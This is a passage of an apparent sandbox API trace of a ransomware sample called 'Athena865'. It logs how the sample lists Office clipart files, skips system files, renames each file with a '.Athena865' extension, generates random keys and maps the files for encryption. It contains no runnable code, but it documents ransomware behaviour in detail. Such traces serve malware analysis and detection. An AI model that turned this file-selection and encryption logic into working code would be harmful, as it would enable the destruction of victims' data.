(lpString1="J0238333.WMF", lpString2="temp") returned -1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="pagefile.sys") returned -1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="boot") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ids.txt") returned 1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ntuser.dat") returned -1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="perflogs") returned -1 [0128.757] lstrcmpiW (lpString1="J0238333.WMF", lpString2="MSBuild") returned -1 [0128.757] lstrlenW (lpString="J0238333.WMF") returned 12 [0128.757] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0238333.WMF" | out: lpString1="J0238333.WMF") returned="J0238333.WMF" [0128.758] lstrlenW (lpString="J0238333.WMF") returned 12 [0128.758] lstrlenW (lpString="Athena865") returned 9 [0128.758] lstrcmpiW (lpString1="38333.WMF", lpString2="Athena865") returned -1 [0128.758] lstrlenW (lpString=".dll") returned 4 [0128.758] lstrcmpiW (lpString1="J0238333.WMF", lpString2=".dll") returned 1 [0128.758] lstrlenW (lpString=".lnk") returned 4 [0128.758] lstrcmpiW (lpString1="J0238333.WMF", lpString2=".lnk") returned 1 [0128.758] lstrlenW (lpString=".ini") returned 4 [0128.758] lstrcmpiW (lpString1="J0238333.WMF", lpString2=".ini") returned 1 [0128.758] lstrlenW (lpString=".sys") returned 4 [0128.758] lstrcmpiW (lpString1="J0238333.WMF", lpString2=".sys") returned 1 [0128.758] lstrlenW (lpString="J0238333.WMF") returned 12 [0128.758] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.Athena865") returned 73 [0128.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.athena865"), dwFlags=0x1) returned 1 [0128.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.759] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22944) returned 1 [0128.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.760] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.761] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.761] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.761] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ca0, lpName=0x0) returned 0x154 [0128.763] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ca0) returned 0x100000 [0128.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.765] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.765] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.766] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.766] CloseHandle (hObject=0x154) returned 1 [0128.766] CloseHandle (hObject=0x17c) returned 1 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.766] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2=".") returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="..") returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="windows") returned -1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootmgr") returned 1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="temp") returned -1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="pagefile.sys") returned -1 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2="boot") returned 1 [0128.767] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0238927.WMF" | out: lpString1="J0238927.WMF") returned="J0238927.WMF" [0128.767] lstrlenW (lpString="J0238927.WMF") returned 12 [0128.767] lstrlenW (lpString="Athena865") returned 9 [0128.767] lstrcmpiW (lpString1="38927.WMF", lpString2="Athena865") returned -1 [0128.767] lstrlenW (lpString=".dll") returned 4 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2=".dll") returned 1 [0128.767] lstrlenW (lpString=".lnk") returned 4 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2=".lnk") returned 1 [0128.767] lstrlenW (lpString=".ini") returned 4 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2=".ini") returned 1 [0128.767] lstrlenW (lpString=".sys") returned 4 [0128.767] lstrcmpiW (lpString1="J0238927.WMF", lpString2=".sys") returned 1 [0128.767] lstrlenW (lpString="J0238927.WMF") returned 12 [0128.767] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.Athena865") returned 73 [0128.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.athena865"), dwFlags=0x1) returned 1 [0128.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.769] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4916) returned 1 [0128.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.769] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.770] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.770] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.770] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1640, lpName=0x0) returned 0x154 [0128.772] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1640) returned 0x100000 [0128.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.773] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.773] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.774] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.774] CloseHandle (hObject=0x154) returned 1 [0128.774] CloseHandle (hObject=0x17c) returned 1 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.775] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.775] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0238959.WMF" | out: lpString1="J0238959.WMF") returned="J0238959.WMF" [0128.775] lstrlenW (lpString="J0238959.WMF") returned 12 [0128.775] lstrlenW (lpString="Athena865") returned 9 [0128.775] lstrcmpiW (lpString1="38959.WMF", lpString2="Athena865") returned -1 [0128.775] lstrlenW (lpString=".dll") returned 4 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2=".dll") returned 1 [0128.775] lstrlenW (lpString=".lnk") returned 4 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2=".lnk") returned 1 [0128.775] lstrlenW (lpString=".ini") returned 4 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2=".ini") returned 1 [0128.775] lstrlenW (lpString=".sys") returned 4 [0128.775] lstrcmpiW (lpString1="J0238959.WMF", lpString2=".sys") returned 1 [0128.775] lstrlenW (lpString="J0238959.WMF") returned 12 [0128.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.Athena865") returned 73 [0128.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.athena865"), dwFlags=0x1) returned 1 [0128.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.777] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7484) returned 1 [0128.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.777] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.778] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.778] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.778] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2040, lpName=0x0) returned 0x154 [0128.781] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2040) returned 0x100000 [0128.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.783] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.783] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.784] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.784] CloseHandle (hObject=0x154) returned 1 [0128.784] CloseHandle (hObject=0x17c) returned 1 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0238983.WMF" | out: lpString1="J0238983.WMF") returned="J0238983.WMF" [0128.785] lstrlenW (lpString="J0238983.WMF") returned 12 [0128.785] lstrlenW (lpString="Athena865") returned 9 [0128.785] lstrcmpiW (lpString1="38983.WMF", lpString2="Athena865") returned -1 [0128.785] lstrlenW (lpString=".dll") returned 4 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2=".dll") returned 1 [0128.785] lstrlenW (lpString=".lnk") returned 4 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2=".lnk") returned 1 [0128.785] lstrlenW (lpString=".ini") returned 4 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2=".ini") returned 1 [0128.785] lstrlenW (lpString=".sys") returned 4 [0128.785] lstrcmpiW (lpString1="J0238983.WMF", lpString2=".sys") returned 1 [0128.785] lstrlenW (lpString="J0238983.WMF") returned 12 [0128.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.Athena865") returned 73 [0128.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.athena865"), dwFlags=0x1) returned 1 [0128.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.787] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5048) returned 1 [0128.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.787] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.788] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.788] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.788] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16c0, lpName=0x0) returned 0x154 [0128.789] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16c0) returned 0x100000 [0128.790] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.791] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.791] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.792] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239057.WMF" | out: lpString1="J0239057.WMF") returned="J0239057.WMF" [0128.792] lstrlenW (lpString="J0239057.WMF") returned 12 [0128.792] lstrlenW (lpString="Athena865") returned 9 [0128.792] lstrcmpiW (lpString1="39057.WMF", lpString2="Athena865") returned -1 [0128.792] lstrlenW (lpString=".dll") returned 4 [0128.792] lstrcmpiW (lpString1="J0239057.WMF", lpString2=".dll") returned 1 [0128.792] lstrlenW (lpString=".lnk") returned 4 [0128.792] lstrcmpiW (lpString1="J0239057.WMF", lpString2=".lnk") returned 1 [0128.792] lstrlenW (lpString=".ini") returned 4 [0128.792] lstrcmpiW (lpString1="J0239057.WMF", lpString2=".ini") returned 1 [0128.792] lstrlenW (lpString=".sys") returned 4 [0128.792] lstrcmpiW (lpString1="J0239057.WMF", lpString2=".sys") returned 1 [0128.793] lstrlenW (lpString="J0239057.WMF") returned 12 [0128.793] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.Athena865") returned 73 [0128.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.athena865"), dwFlags=0x1) returned 1 [0128.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.794] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4740) returned 1 [0128.794] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.795] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.795] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.795] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1590, lpName=0x0) returned 0x154 [0128.797] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1590) returned 0x100000 [0128.798] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.798] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.799] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.799] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239063.WMF" | out: lpString1="J0239063.WMF") returned="J0239063.WMF" [0128.799] lstrlenW (lpString="J0239063.WMF") returned 12 [0128.799] lstrlenW (lpString="Athena865") returned 9 [0128.799] lstrcmpiW (lpString1="39063.WMF", lpString2="Athena865") returned -1 [0128.799] lstrlenW (lpString=".dll") returned 4 [0128.799] lstrcmpiW (lpString1="J0239063.WMF", lpString2=".dll") returned 1 [0128.799] lstrlenW (lpString=".lnk") returned 4 [0128.799] lstrcmpiW (lpString1="J0239063.WMF", lpString2=".lnk") returned 1 [0128.799] lstrlenW (lpString=".ini") returned 4 [0128.799] lstrcmpiW (lpString1="J0239063.WMF", lpString2=".ini") returned 1 [0128.799] lstrlenW (lpString=".sys") returned 4 [0128.799] lstrcmpiW (lpString1="J0239063.WMF", lpString2=".sys") returned 1 [0128.799] lstrlenW (lpString="J0239063.WMF") returned 12 [0128.800] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.Athena865") returned 73 [0128.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.athena865"), dwFlags=0x1) returned 1 [0128.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.801] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5884) returned 1 [0128.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.802] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) 